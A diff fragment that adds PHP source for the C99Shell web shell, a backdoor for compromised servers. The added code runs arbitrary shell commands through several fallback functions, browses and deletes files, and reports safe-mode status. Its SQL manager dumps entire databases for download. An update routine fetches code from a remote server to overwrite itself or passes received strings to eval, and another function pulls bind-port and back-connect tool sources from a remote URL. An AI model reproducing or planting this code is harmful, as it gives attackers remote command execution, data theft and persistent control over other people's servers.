+ else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+}
+}
+if (!function_exists("fs_copy_obj"))
+{
+function fs_copy_obj($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (!is_dir(dirname($t))) {mkdir(dirname($t));}
+ if (is_dir($d))
+ {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_copy_dir($d,$t);
+ }
+ elseif (is_file($d)) {return copy($d,$t);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("fs_move_dir"))
+{
+function fs_move_dir($d,$t)
+{
+ $h = opendir($d);
+ if (!is_dir($t)) {mkdir($t);}
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ $ret = TRUE;
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+}
+}
+if (!function_exists("fs_move_obj"))
+{
+function fs_move_obj($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (is_dir($d))
+ {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_move_dir($d,$t);
+ }
+ elseif (is_file($d))
+ {
+ if(copy($d,$t)) {return unlink($d);}
+ else {unlink($t); return FALSE;}
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("fs_rmdir"))
+{
+function fs_rmdir($d)
+{
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.$o)) {unlink($d.$o);}
+ else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
+ }
+ }
+ closedir($h);
+ rmdir($d);
+ return !is_dir($d);
+}
+}
+if (!function_exists("fs_rmobj"))
+{
+function fs_rmobj($o)
+{
+ $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
+ if (is_dir($o))
+ {
+ if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
+ return fs_rmdir($o);
+ }
+ elseif (is_file($o)) {return unlink($o);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("myshellexec"))
+{
+function myshellexec($cmd)
+{
+ global $disablefunc;
+ $result = "";
+ if (!empty($cmd))
+ {
+ if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
+ elseif (($result = `$cmd`) !== FALSE) {}
+ elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_resource($fp = popen($cmd,"r")))
+ {
+ $result = "";
+ while(!feof($fp)) {$result .= fread($fp,1024);}
+ pclose($fp);
+ }
+ }
+ return $result;
+}
+}
+if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
+if (!function_exists("view_perms"))
+{
+function view_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$type = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
+ else {$type = "?";}
+
+ $owner["read"] = ($mode & 00400)?"r":"-";
+ $owner["write"] = ($mode & 00200)?"w":"-";
+ $owner["execute"] = ($mode & 00100)?"x":"-";
+ $group["read"] = ($mode & 00040)?"r":"-";
+ $group["write"] = ($mode & 00020)?"w":"-";
+ $group["execute"] = ($mode & 00010)?"x":"-";
+ $world["read"] = ($mode & 00004)?"r":"-";
+ $world["write"] = ($mode & 00002)? "w":"-";
+ $world["execute"] = ($mode & 00001)?"x":"-";
+
+ if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
+ if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
+ if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
+
+ return $type.join("",$owner).join("",$group).join("",$world);
+}
+}
+if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
+if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
+if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
+if (!function_exists("parse_perms"))
+{
+function parse_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$t = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
+ else {$t = "?";}
+ $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
+ $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
+ $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
+ return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
+}
+}
+if (!function_exists("parsesort"))
+{
+function parsesort($sort)
+{
+ $one = intval($sort);
+ $second = substr($sort,-1);
+ if ($second != "d") {$second = "a";}
+ return array($one,$second);
+}
+}
+if (!function_exists("view_perms_color"))
+{
+function view_perms_color($o)
+{
+ if (!is_readable($o)) {return "".view_perms(fileperms($o))." ";}
+ elseif (!is_writable($o)) {return "".view_perms(fileperms($o))." ";}
+ else {return "".view_perms(fileperms($o))." ";}
+}
+}
+if (!function_exists("c99getsource"))
+{
+function c99getsource($fn)
+{
+ global $c99sh_sourcesurl;
+ $array = array(
+ "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
+ "c99sh_bindport.c" => "c99sh_bindport_c.txt",
+ "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
+ "c99sh_backconn.c" => "c99sh_backconn_c.txt",
+ "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
+ "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
+ );
+ $name = $array[$fn];
+ if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("c99sh_getupdate"))
+{
+function c99sh_getupdate($update = TRUE)
+{
+ $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["shver"]))."&updatenow=".($updatenow?"1":"0")."&";
+ $data = @file_get_contents($url);
+ if (!$data) {return "Can't connect to update-server!";}
+ else
+ {
+ $data = ltrim($data);
+ $string = substr($data,3,ord($data{2}));
+ if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;}
+ if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";}
+ if ($data{0} == "\x99" and $data{1} == "\x03")
+ {
+ $string = explode("\x01",$string);
+ if ($update)
+ {
+ $confvars = array();
+ $sourceurl = $string[0];
+ $source = file_get_contents($sourceurl);
+ if (!$source) {return "Can't fetch update!";}
+ else
+ {
+ $fp = fopen(__FILE__,"w");
+ if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download c99shell.php manually here .";}
+ else {fwrite($fp,$source); fclose($fp); return "Thanks! Updated with success.";}
+ }
+ }
+ else {return "New version are available: ".$string[1];}
+ }
+ elseif ($data{0} == "\x99" and $data{1} == "\x04") {eval($string); return 1;}
+ else {return "Error in protocol: segmentation failed! (".$data.") ";}
+ }
+}
+}
+if (!function_exists("mysql_dump"))
+{
+function mysql_dump($set)
+{
+ global $shver;
+ $sock = $set["sock"];
+ $db = $set["db"];
+ $print = $set["print"];
+ $nl2br = $set["nl2br"];
+ $file = $set["file"];
+ $add_drop = $set["add_drop"];
+ $tabs = $set["tabs"];
+ $onlytabs = $set["onlytabs"];
+ $ret = array();
+ $ret["err"] = array();
+ if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
+ if (empty($db)) {$db = "db";}
+ if (empty($print)) {$print = 0;}
+ if (empty($nl2br)) {$nl2br = 0;}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (empty($file))
+ {
+ $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
+ }
+ if (!is_array($tabs)) {$tabs = array();}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (sizeof($tabs) == 0)
+ {
+ // retrive tables-list
+ $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
+ if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
+ }
+ $out = "# Dumped by C99Shell.SQL v. ".$shver."
+# Home page: http://ccteam.ru
+#
+# Host settings:
+# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
+# Date: ".date("d.m.Y H:i:s")."
+# DB: \"".$db."\"
+#---------------------------------------------------------
+";
+ $c = count($onlytabs);
+ foreach($tabs as $tab)
+ {
+ if ((in_array($tab,$onlytabs)) or (!$c))
+ {
+ if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
+ // recieve query for create table structure
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
+ if (!$res) {$ret["err"][] = mysql_smarterror();}
+ else
+ {
+ $row = mysql_fetch_row($res);
+ $out .= $row["1"].";\n\n";
+ // recieve table variables
+ $res = mysql_query("SELECT * FROM `$tab`", $sock);
+ if (mysql_num_rows($res) > 0)
+ {
+ while ($row = mysql_fetch_assoc($res))
+ {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ $out .= $sql;
+ }
+ }
+ }
+ }
+ }
+ $out .= "#---------------------------------------------------------------------------------\n\n";
+ if ($file)
+ {
+ $fp = fopen($file, "w");
+ if (!$fp) {$ret["err"][] = 2;}
+ else
+ {
+ fwrite ($fp, $out);
+ fclose ($fp);
+ }
+ }
+ if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
+ return $out;
+}
+}
+if (!function_exists("mysql_buildwhere"))
+{
+function mysql_buildwhere($array,$sep=" and",$functs=array())
+{
+ if (!is_array($array)) {$array = array();}
+ $result = "";
+ foreach($array as $k=>$v)
+ {
+ $value = "";
+ if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
+ $value .= "'".addslashes($v)."'";
+ if (!empty($functs[$k])) {$value .= ")";}
+ $result .= "`".$k."` = ".$value.$sep;
+ }
+ $result = substr($result,0,strlen($result)-strlen($sep));
+ return $result;
+}
+}
+if (!function_exists("mysql_fetch_all"))
+{
+function mysql_fetch_all($query,$sock)
+{
+ if ($sock) {$result = mysql_query($query,$sock);}
+ else {$result = mysql_query($query);}
+ $array = array();
+ while ($row = mysql_fetch_array($result)) {$array[] = $row;}
+ mysql_free_result($result);
+ return $array;
+}
+}
+if (!function_exists("mysql_smarterror"))
+{
+function mysql_smarterror($type,$sock)
+{
+ if ($sock) {$error = mysql_error($sock);}
+ else {$error = mysql_error();}
+ $error = htmlspecialchars($error);
+ return $error;
+}
+}
+if (!function_exists("mysql_query_form"))
+{
+function mysql_query_form()
+{
+ global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act))
+ {
+ echo "";
+ }
+ }
+ if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
+}
+}
+if (!function_exists("mysql_create_db"))
+{
+function mysql_create_db($db,$sock="")
+{
+ $sql = "CREATE DATABASE `".addslashes($db)."`;";
+ if ($sock) {return mysql_query($sql,$sock);}
+ else {return mysql_query($sql);}
+}
+}
+if (!function_exists("mysql_query_parse"))
+{
+function mysql_query_parse($query)
+{
+ $query = trim($query);
+ $arr = explode (" ",$query);
+ /*array array()
+ {
+ "METHOD"=>array(output_type),
+ "METHOD1"...
+ ...
+ }
+ if output_type == 0, no output,
+ if output_type == 1, no output if no error
+ if output_type == 2, output without control-buttons
+ if output_type == 3, output with control-buttons
+ */
+ $types = array(
+ "SELECT"=>array(3,1),
+ "SHOW"=>array(2,1),
+ "DELETE"=>array(1),
+ "DROP"=>array(1)
+ );
+ $result = array();
+ $op = strtoupper($arr[0]);
+ if (is_array($types[$op]))
+ {
+ $result["propertions"] = $types[$op];
+ $result["query"] = $query;
+ if ($types[$op] == 2)
+ {
+ foreach($arr as $k=>$v)
+ {
+ if (strtoupper($v) == "LIMIT")
+ {
+ $result["limit"] = $arr[$k+1];
+ $result["limit"] = explode(",",$result["limit"]);
+ if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
+ unset($arr[$k],$arr[$k+1]);
+ }
+ }
+ }
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("c99fsearch"))
+{
+function c99fsearch($d)
+{
+ global $found;
+ global $found_d;
+ global $found_f;
+ global $search_i_f;
+ global $search_i_d;
+ global $a;
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($f = readdir($h)) !== FALSE)
+ {
+ if($f != "." && $f != "..")
+ {
+ $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
+ if (is_dir($d.$f))
+ {
+ $search_i_d++;
+ if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
+ if (!is_link($d.$f)) {c99fsearch($d.$f);}
+ }
+ else
+ {
+ $search_i_f++;
+ if ($bool)
+ {
+ if (!empty($a["text"]))
+ {
+ $r = @file_get_contents($d.$f);
+ if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
+ if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
+ if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
+ else {$bool = strpos(" ".$r,$a["text"],1);}
+ if ($a["text_not"]) {$bool = !$bool;}
+ if ($bool) {$found[] = $d.$f; $found_f++;}
+ }
+ else {$found[] = $d.$f; $found_f++;}
+ }
+ }
+ }
+ }
+ closedir($h);
+}
+}
+if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
+//Sending headers
+@ob_start();
+@ob_implicit_flush(0);
+function onphpshutdown()
+{
+ global $gzipencode,$ft;
+ if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
+ {
+ $v = @ob_get_contents();
+ @ob_end_clean();
+ @ob_start("ob_gzHandler");
+ echo $v;
+ @ob_end_flush();
+ }
+}
+function c99shexit()
+{
+ onphpshutdown();
+ exit;
+}
+header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
+header("Cache-Control: no-store, no-cache, must-revalidate");
+header("Cache-Control: post-check=0, pre-check=0", FALSE);
+header("Pragma: no-cache");
+if (empty($tmpdir))
+{
+ $tmpdir = ini_get("upload_tmp_dir");
+ if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
+}
+$tmpdir = realpath($tmpdir);
+$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
+if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
+if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
+else {$tmpdir_logs = realpath($tmpdir_logs);}
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+ $safemode = TRUE;
+ $hsafemode = "ON (secure) ";
+}
+else {$safemode = FALSE; $hsafemode = "OFF (not secure) ";}
+$v = @ini_get("open_basedir");
+if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v." ";}
+else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure) ";}
+$sort = htmlspecialchars($sort);
+if (empty($sort)) {$sort = $sort_default;}
+$sort[1] = strtolower($sort[1]);
+$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
+if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
+$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()." ",htmlspecialchars($DISP_SERVER_SOFTWARE));
+@ini_set("highlight.bg",$highlight_bg); //FFFFFF
+@ini_set("highlight.comment",$highlight_comment); //#FF8000
+@ini_set("highlight.default",$highlight_default); //#0000BB
+@ini_set("highlight.html",$highlight_html); //#000000
+@ini_set("highlight.keyword",$highlight_keyword); //#007700
+@ini_set("highlight.string",$highlight_string); //#DD0000
+if (!is_array($actbox)) {$actbox = array();}
+$dspact = $act = htmlspecialchars($act);
+$disp_fullpath = $ls_arr = $notls = null;
+$ud = urlencode($d);
+?> - phpshell ! C2007Shell v. !
+ Software:
uname -a: ",1); ?>
",1);} else {echo get_current_user();} ?>
Safe-mode:
".htmlspecialchars($b).DIRECTORY_SEPARATOR." ";
+ $i++;
+}
+echo " ";
+if (is_writable($d))
+{
+ $wd = TRUE;
+ $wdt = "[ ok ] ";
+ echo "".view_perms(fileperms($d))." ";
+}
+else
+{
+ $wd = FALSE;
+ $wdt = "[ Read-Only ] ";
+ echo "".view_perms_color($d)." ";
+}
+if (is_callable("disk_free_space"))
+{
+ $free = disk_free_space($d);
+ $total = disk_total_space($d);
+ if ($free === FALSE) {$free = 0;}
+ if ($total === FALSE) {$total = 0;}
+ if ($free < 0) {$free = 0;}
+ if ($total < 0) {$total = 0;}
+ $used = $total-$free;
+ $free_percent = round(100/($total/$free),2);
+ echo "Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%) ";
+}
+echo " ";
+$letters = "";
+if ($win)
+{
+ $v = explode("\\",$d);
+ $v = $v[0];
+ foreach (range("a","z") as $letter)
+ {
+ $bool = $isdiskette = in_array($letter,$safemode_diskettes);
+ if (!$bool) {$bool = is_dir($letter.":\\");}
+ if ($bool)
+ {
+ $letters .= "[ ";
+ if ($letter.":" != $v) {$letters .= $letter;}
+ else {$letters .= "".$letter." ";}
+ $letters .= " ] ";
+ }
+ }
+ if (!empty($letters)) {echo "Detected drives : ".$letters." ";}
+}
+if (count($quicklaunch) > 0)
+{
+ foreach($quicklaunch as $item)
+ {
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+ $item[1] = str_replace("%sort",$sort,$item[1]);
+ $v = realpath($d."..");
+ if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
+ $item[1] = str_replace("%upd",urlencode($v),$item[1]);
+ echo "".$item[0]." ";
+ }
+}
+echo "
";
+if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo " ";}
+echo "";
+if ($act == "") {$act = $dspact = "ls";}
+if ($act == "sql")
+{
+ $sql_surl = $surl."act=sql";
+ if ($sql_login) {$sql_surl .= "&sql_login=".htmlspecialchars($sql_login);}
+ if ($sql_passwd) {$sql_surl .= "&sql_passwd=".htmlspecialchars($sql_passwd);}
+ if ($sql_server) {$sql_surl .= "&sql_server=".htmlspecialchars($sql_server);}
+ if ($sql_port) {$sql_surl .= "&sql_port=".htmlspecialchars($sql_port);}
+ if ($sql_db) {$sql_surl .= "&sql_db=".htmlspecialchars($sql_db);}
+ $sql_surl .= "&";
+ ?>
+ Attention! SQL-Manager is NOT ready module! Don't reports bugs.
+ SQL Manager: ";
+ if (!$sql_sock)
+ {
+ if (!$sql_server) {echo "NO CONNECTION";}
+ else {echo "Can't connect "; echo "".$err." ";}
+ }
+ else
+ {
+ $sqlquicklaunch = array();
+ $sqlquicklaunch[] = array("Index",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
+ $sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl));
+ $sqlquicklaunch[] = array("Server-status",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
+ $sqlquicklaunch[] = array("Server variables",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
+ $sqlquicklaunch[] = array("Processes",$surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
+ $sqlquicklaunch[] = array("Logout",$surl."act=sql");
+ echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ";
+ if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ }
+ echo " ";
+ if (!$sql_sock) {?> i If login is null, login is owner of process. If host is null, host is localhost If port is null, port is 3306 (default) Please, fill the form: ">Home ".htmlspecialchars($sql_db)." ]--- ";
+ $c = 0;
+ while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].") "; mysql_free_result($count); $c++;}
+ if (!$c) {echo "No tables found in database.";}
+ }
+ }
+ else
+ {
+ ?>Home ".$row[0].""; $c++;}
+ echo "Databases (".$c.") ";
+ echo $dbs;
+ }
+ ?> Please, select database";
+ //Start center panel
+ $diplay = TRUE;
+ if ($sql_db)
+ {
+ if (!is_numeric($c)) {$c = 0;}
+ if ($c == 0) {$c = "no";}
+ echo "There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db)."). ";
+ if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ $acts = array("","dump");
+ if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";}
+ elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";}
+ elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_act = "query";}
+ elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,-1);} $sql_act = "query";}
+ elseif ($sql_tbl_act == "insert")
+ {
+ if ($sql_tbl_insert_radio == 1)
+ {
+ $keys = "";
+ $akeys = array_keys($sql_tbl_insert);
+ foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
+ if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
+ $values = "";
+ $i = 0;
+ foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
+ if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
+ $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ elseif ($sql_tbl_insert_radio == 2)
+ {
+ $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
+ $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
+ $result = mysql_query($sql_query) or print(mysql_smarterror());
+ $result = mysql_fetch_array($result, MYSQL_ASSOC);
+ $sql_act = "query";
+ $sql_tbl_act = "browse";
+ }
+ }
+ if ($sql_act == "query")
+ {
+ echo " ";
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act)) {echo "";}
+ }
+ if (in_array($sql_act,$acts))
+ {
+ ?>";}
+ if ($sql_act == "newtbl")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";
+ }
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_smarterror();}
+ }
+ elseif ($sql_act == "dump")
+ {
+ if (empty($submit))
+ {
+ $diplay = FALSE;
+ echo "SQL-Dump: ";
+ echo "DB: ";
+ $v = join (";",$dmptbls);
+ echo "Only tables (explode \";\") 1 : ";
+ if ($dump_file) {$tmp = $dump_file;}
+ else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
+ echo "File: ";
+ echo "Download: ";
+ echo "Save to file: ";
+ echo "1 - all, if empty";
+ echo " ";
+ }
+ else
+ {
+ $diplay = TRUE;
+ $set = array();
+ $set["sock"] = $sql_sock;
+ $set["db"] = $sql_db;
+ $dump_out = "download";
+ $set["print"] = 0;
+ $set["nl2br"] = 0;
+ $set[""] = 0;
+ $set["file"] = $dump_file;
+ $set["add_drop"] = TRUE;
+ $set["onlytabs"] = array();
+ if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
+ $ret = mysql_dump($set);
+ if ($sql_dump_download)
+ {
+ @ob_clean();
+ header("Content-type: application/octet-stream");
+ header("Content-length: ".strlen($ret));
+ header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
+ echo $ret;
+ exit;
+ }
+ elseif ($sql_dump_savetofile)
+ {
+ $fp = fopen($sql_dump_file,"w");
+ if (!$fp) {echo "Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
+ else
+ {
+ fwrite($fp,$ret);
+ fclose($fp);
+ echo "Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).") .";
+ }
+ }
